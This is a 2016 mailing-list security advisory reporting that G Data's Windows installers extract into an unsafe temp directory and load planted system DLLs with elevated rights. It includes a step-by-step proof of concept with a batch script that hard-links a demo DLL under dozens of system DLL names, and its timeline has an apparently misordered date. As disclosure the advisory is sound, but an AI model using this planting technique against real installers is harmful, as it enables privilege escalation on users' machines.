Executable installers are vulnerable^WEVIL (case 33): GData's installers allow escalation of privilege Apr 18 2016 06:36PM
Stefan Kanthak (stefan kanthak nexgo de)
Hi @ll,

the executable installers of G-Data's "security" products for
Windows, available from <https://www.gdata.de/downloads>, allow
escalation of privilege!

The downloadable executables are self-extractors containing the
real executable installer as resource: they create the subdirectory
using another resource containing the hardcoded value of this GUID,
extract the real executable installer into it and finally start it.

The permissions of this subdirectory allow "full access" for the
unprivileged user who started the self-extractor, enabling him to
create arbitrary files in this subdirectory.

The real installer loads multiple Windows system DLLs from this
subdirectory instead of Windows' "system directory"
%SystemRoot%\System32\ and executes them with elevated rights.

On Windows 7:
dbghelp.dll, dnsapi.dll, oleacc.dll, netapi32.dll, netutils.dll,
srvcli.dll, wkscli.dll, version.dll, uxtheme.dll/dwmapi.dll,
cryptsp.dll, ncrypt.dll, bcrypt.dll, profapi.dll, msimg32.dll,
riched32.dll, iphlpapi.dll, winnsi.dll, rasapi32.dll, rasman.dll,
rtutils.dll, sensapi.dll, rasadhlp.dll, ntmarta.dll, ntshrui.dll,
cscapi.dll, slc.dll, windowscodecs.dll, apphelp.dll, mpr.dll,
userenv.dll, schannel.dll, credssp.dll, secur32.dll, gpapi.dll,

See <https://cwe.mitre.org/data/definitions/379.html> for the well-
known and well-documented unsafe TEMP directory vulnerability, and
<https://cwe.mitre.org/data/definitions/427.html> plus
<https://capec.mitre.org/data/definitions/471.html> for the well-
known and well-documented unsafe DLL search path vulnerability.

Proof of concept/demonstration:

1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL> and save
it in your "Downloads" directory;

2. download "G DATA ANTIVIRUS" from <https://www.gdata.de/downloads>
and save it in your "Downloads" directory (the resulting file
is named G_DATA_AntiVirus.exe);

3. create the following file as SENTINEL.CMD in your "Downloads"


If Not Exist "%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\INT_R_BASE_AV.exe" Goto :LOOP

For %%! In (dbghelp dnsapi oleacc netapi32 netutils srvcli wkscli
version uxtheme dwmapi cryptsp ncrypt bcrypt profapi
msimg32 riched32 iphlpapi winnsi rasapi32 rasman rtutils
sensapi rasadhlp ntmarta ntshrui cscapi slc windowscodecs
apphelp mpr userenv schannel credssp secur32 gpapi samcli) Do MkLink /H
"%TEMP%\{1C2DF59B-0172-4ECB-9A25-7597A4A26A96}\%%!.dll" "%~dpn0.dll"
--- EOF ---

4. run the batch script per double-click: it starts the downloaded
self-extractor and plants the DLLs for hijacking;

5. notice the message boxes displayed from the DLLs.


stay tuned
Stefan Kanthak

PS: I really LOVE (security) software with such trivial beginner's
errors. It's a tell-tale sign to better stay away from it!


2016-06-03 initial report sent to vendor: they provided their
real installers for download, allowing DLL hijacking
in the users "Downloads" directory

2016-03-06 vendor acknowledges receipt:
"At the moment we are exploring the best way to fix it."

2016-04-13 reply from vendor:
"We replaced all installers and tools in the download
area with secure versions."

2016-04-17 No, these "installers" are NOT secure, they use UNSAFE
temp directories and just shift the attack vector a
tiny little bit.

2016-04-18 reply from vendor:
"We assume that this is pure speculation."

2016-04-18 OUCH!

2016-04-18 reply from vendor:
"the attacker needs access to the system for that."

2016-04-18 report published

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus